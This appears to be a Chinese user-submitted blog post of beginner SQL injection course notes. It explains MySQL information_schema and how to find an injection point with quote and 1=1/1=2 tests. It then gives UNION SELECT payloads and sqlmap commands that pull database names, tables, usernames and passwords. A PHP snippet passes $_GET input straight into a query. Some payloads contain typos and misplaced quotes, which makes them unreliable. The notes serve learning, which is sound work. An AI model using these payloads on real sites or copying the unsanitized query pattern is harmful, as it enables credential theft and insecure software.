SQL注入笔记(SQL注入例子)

网友投稿 292 2022-10-08


SQL注入笔记(SQL注入例子)

9块9的SQL注入公开课笔记

目录

SQL注入简介 MySQL入门 PHP基本入门 注入讲解

SQL注入简介

SQL注入是一种将SQL代码添加到输入参数中传递到SQL服务器解析并执行的一种方法

SQL注入产生条件:

有传递参数 参数传入到数据库中 在数据库中执行

MySQL入门

information_schema数据库

MySQL大致分为两类,MySQL5.0以上及以下 MySQL5.0以上会增加一个information_schema系统数据库 information_schema系统数据库 在mysql中把information_schema看作是一个数据库,确切说是信息数据库,其中保存着关于mysql服务器维护的所有其他数据库信息 SCHEMATA表 ​ 提供当前mysql实例中所有数据库信息 TABLES表 提供了关于数据库中表的信息,详细表述了某个数据库中所有表的信息 COLUMNS表 提供了表中的列信息,详细描述了某张表的所有列以及每个列的信息 mysql库下的user表中存放的是所有登录mysql数据库的用户名和密码 下列sqlmap语句都是查询的mysql库下的user表的里的列信息 sqlmap -u "xxx?id=1" --current-user //查询当前登录用户 sqlmap -u "xxx?id=1" --users //查询所以登录该数据库的用户名 sqlmap -u "xxx?id=1" --passwords //查询用户密码通常为sqlmd5加密

select语句

select语句在数据库中作用于查询 select * from test.users //查询test库下的users表中的所有数据 select username from test.users //查询test库下的users表中username的列数据 select * from test.users where id=1 //查询test库下的users表中id为1的数据 select * from test.users where address='china' and username='lzx' //查询test库下的users表中address为china并且username为lzx的数据

以最后一个语句举例:

​ select * from test.users where address='china' and username='lzx'

​ select * from test.users 代表查询的位置,查询test库下users表中的所有数据

​ where 在哪 后面需要加上查询的条件

​ address='china' test库下users表中address列为China的数据

​ and 和、并且 有多个查询条件时

​ username=‘lzx’ test库下users表中username列为lzx的数据

在较多的数据中查询,用到多个条件会使查询的结果更加准确

假设下面这个表格就是我们要查的数据,如果只用到了address=china的话会查出来三个数据,但是我们要查询的是address=china并且username=lzx的数据,所有需要用两个条件来进行查询

id address username
1 china lzx
2 China abc
3 China def

and逻辑

两边的条件同为true的时候整体表示正确,若有一个为false则整体为false

还是根据上面的表格来进行分析,随便写一个语句

select * from test.users where id=1 and username=lzx

刚才我们提到了and左右两边的条件有逻辑规则,上面的句子我们的两个条件就是id跟username

现在这个语句是成立的,两边条件都是true,直接查询可以查询出来数据

现在我们把一个条件改成错误的

select * from test.users where id=1 and username=xxx

这样的话两边的条件一个为true一个为false,这样是查不出来数据的会报错

两个条件都是true这个语句才是true,若有一个条件为false则整体语句为false

判断注入点

我们通常会构造错误的sql语句来判断网站是否存在注入(' and =1 and 1=2)

select * from users where id=1 (id=1 后面的这个1就是从前端传递的参数),这是正常的语句

如果把参数改成 id=1' 那么就会报错,因为 ‘ 属于字符串,字符串被代入查询了

还有就是id=1 and 1=1 这样的语句两边条件成立就是可以查询到数据的

如果是id=1 and 1=2 这样的两个条件不成立会报错查询不到数据

一般通过上面这三个步骤就可以判断是否存在注入点

闭合

注入一般可以分为数字型跟字符型

select * from users where id=1

select * from users where username='lzx'

如果我们想在第二个语句后面加上and1=1这样语句就会报错,需要进行闭合

select * from users where username='lzx and 1=1' 报错

我们需要执行的是username=lzx,所以我们需要让and1=1在单引号外面执行

select * from users where username='lzx’ and 1=1‘(注意单引号加的位置)但是多了一个单引号

这时候可以用注释符号来解决

select * from users where username='lzx and 1=1#' (#号)

select * from users where username='lzx‘ and 1=1 -- ' (俩横线+空格)

通过闭合这两句都是可执行的

order by语句

order by 排序语句 默认升序排序

select * from test.users order by 1 //根据表格的第一列排序 select * from test.users order by 2 //根据表格第二列排序 select * from test.users order by 3 //根据表格第三列排序

id age name
1 18 NULL
2 22 a
3 26 b

union语句

union 联合查询语句

union内部的select语句必须拥有相同数量的列,列也必须拥有相似的数据类型,每条select语句中的列的顺序必须相同

id username password
1 admin 123456
2 sa 33333
3 root 11111

select username from users union select password from users //查询users表中username列和password列的数据

username
admin
root
sa
11111
123456
33333

select * from users union select 1,1,1 from users

id username password
1 admin 123456
2 sa 33333
3 root 11111
1 1 1

插入的数据应该与列数一致,现在是三列出入插入的数据是4个就会报错

PHP基础入门

打开php文件的条件:

​ 电脑装有php环境

​ 需要有服务器(apache,iis,nginx)进行解析,可以使用 phpstudy、phpstorm

变量规则

变量以$符号开头,后面是变量名称 变量名称必须以字母或下划线开头 变量名称不能以数字开头 变量名称只能包含字母数字 变量名称只对大小写敏感

$ _GET与$ _POST

$id=$_GET['id']; $id=$_POST['id'];

mysqli_connect()

$con=mysqli_connect("localhost","root","root","test");

代入查询

$sql="select * from users where id=$id"; $result = mysqli_query($con,$sql);

注入讲解

判断是否存在注入

http://url/sql_id.php?id=1' and 1=1 and 1=2

注入查询

information_schema系统数据库 在mysql中把information_schema看作是一个数据库,确切说是信息数据库,其中保存着关于mysql服务器维护的所有其他数据库信息 SCHEMATA表

​ 提供当前mysql实例中所有数据库信息

TABLES表 提供了关于数据库中表的信息,详细表述了某个数据库中所有表的信息 COLUMNS表 提供了表中的列信息,详细描述了某张表的所有列以及每个列的信息 加上limit参数避免查询的数据太长无法显示,limit参数从0开始计算 union select 1,2,3,4,5,6 方便查看输出的数据 union select 1,database(),3,4,5,6 查询数据库名称 union select (select schema_name from information_schema.schemata limit 0,1),2,3,4,5,6 //查询information_schema库下的schemata表中的schema_name列下的第一个数据 union select 1,(select table_name from information_schema.tables where table_schema='test' limit 0,1),3,4,5,6 //查询information_schema库下的tables表中的table_name列下的第一个数据 union select 1,(select colunm_name from information_schema.columns where table_schema='test' and table_name='users limit 0,1),3,4,5,6 //查询information_schema库下的columns表中的column_name列下的第一个数据 union select 1,(select username from test.users limit 0,1),(select password from test.users limit 0,1),3,4,5,6 //查询test库下的users表中的username列的第一个数据,查询test库下的users表中的password列的第一个数据 注:个人笔记,如果有理解错误或者写的不严谨的地方欢迎读者老爷们告诉我


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:[简简单单]神州数码防火墙与路由器实现IPSec(神州数码 路由器)
下一篇:java数据结构基础:循环链表和栈
相关文章

 发表评论

暂时没有评论,来抢沙发吧~